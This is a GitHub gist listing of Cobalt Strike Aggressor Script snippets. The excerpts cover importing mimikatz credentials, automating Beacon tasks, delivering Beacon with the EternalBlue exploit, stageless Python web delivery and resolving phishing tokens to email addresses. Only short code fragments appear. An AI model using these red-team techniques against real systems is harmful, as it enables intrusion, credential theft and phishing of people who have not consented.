Skip to content

Instantly share code, notes, and snippets.

View rsmudge's full-sized avatar

Raphael rsmudge

View GitHub Profile
rsmudge / mkimport.cna
Created January 14, 2021 20:17
import creds from a file with mimikatz output.
# import mimikatz creds from a file.
# go to View -> Script Console
# load this script
# type importcreds /path/to/file.txt
sub process {
if ($luser eq "(null)" || $luser eq "") {
rsmudge / checkit.cna
Created September 18, 2020 16:44
Fire a beacon_revisited event when we get a checkin event that occurs some window of time (e.g., 60s here) after the last checkin event. Keep in mind checkin is only fired on task acknowledgement. If you set the window to 8 hours and don't interact with the Beacon for 8 hours--you'll fire revisited.
on beacon_checkin {
if ($1 in %checkins) {
$last = %checkins[$1];
# has it been 1m since the last task acknowledgement?
if (($3 - $last) > 60000) {
rsmudge / search.cna
Last active May 3, 2024 16:02
Search scrollback for a Beacon (even the stuff that's cut off)
# search for and reproduce output that matches a specific regex.
alias search {
local('$regex $regex2 $entry $event $bid $out $when');
# take all of the args, without processing/parsing as normal.
if (strlen($0) > 7) {
$regex = substr($0, 7);
else {
berror($1, "search [regex]");
rsmudge / callany.cna
Last active July 21, 2020 20:46
Create a hidden Beacon console and pass a command+args to it for execution.
import java.awt.event.ActionEvent;
# $1 = beacon ID
# $2 = command + args to run [as if you typed it in the console]
sub beacon_input_command {
# we make the console a static var because each console we create subscribes to a bunch of stuff
# and requires a manual step [normally performed by a Window close event] to clean up these things.
rsmudge / initial.cna
Created February 20, 2019 20:33
How to automate Beacon to execute a sequence of tasks with each checkin...
# Demonstrate how to queue tasks to execute with each checkin...
# yield tells a function to pause and return a value. The next time the same instance of the
# function is called, it will resume after where it last yielded.
sub stuffToDo {
# Tasks for first checkin
rsmudge / mouse.cna
Created March 21, 2018 02:06
How to add a popup handler to a Swing component in Aggressor Script/Sleep
# demonstrate how to add a popup handler to a Swing component in Sleep
import java.awt.*;
import javax.swing.*;
import javax.swing.event.*;
# safely add a listener to show a popup
sub setupPopupMenu {
# we're using fork({}) to run this in a separate Aggressor Script environment.
rsmudge / safedelete.cna
Created September 1, 2017 16:56
Override default file browser popup in Cobalt Strike to prompt user when they try to delete a file.
# safe delete in file browser right-click menu
popup filebrowser {
item "&Download" {
foreach $file ($3) {
bdownload($1, "$2 $+ \\ $+ $file");
rsmudge / eternalblue.cna
Last active October 10, 2023 15:05
Script to deliver Cobalt Strike's Beacon payload with the Metasploit Framework's exploit/windows/smb/ms17_010_eternalblue exploit.
# script to help move around with ms17-010 from Metasploit
# Go to Attacks -> Eternal Blue
# target, listener, where to save .rc file
sub generate_rc_file {
local('$target $listener $where $handle $shellcode');
($target, $listener, $where) = @_;
rsmudge / stagelesspython.cna
Created April 26, 2017 18:15
Stageless Python Web Delivery attack. Kind of fun. I did cheat and use an internal API. :)
# Python Stageless Scripted Web Delivery
# setup our stageless Python Web Delivery attack
sub setup_attack {
local('%options $x86payload $x64payload $url $script');
%options = $3;
# generate our stageless x86 payload
artifact_stageless(%options["listener"], "raw", "x86", $null, $this);
rsmudge / tokenToEmail.cna
Created March 31, 2017 21:58
This script demonstrates how to change Cobalt Strike's WEB_HIT and PROFILER_HIT hooks to resolve a phishing token to an email address.
# This script overrides WEB_HIT and PROFILER_HIT from default.cna to
# resolve the id var (token) to an email
# method, uri, addr, ua, response, size, handler, when
set WEB_HIT {
local('$out $now $method $uri $addr $ua $response $size $handler $when $params');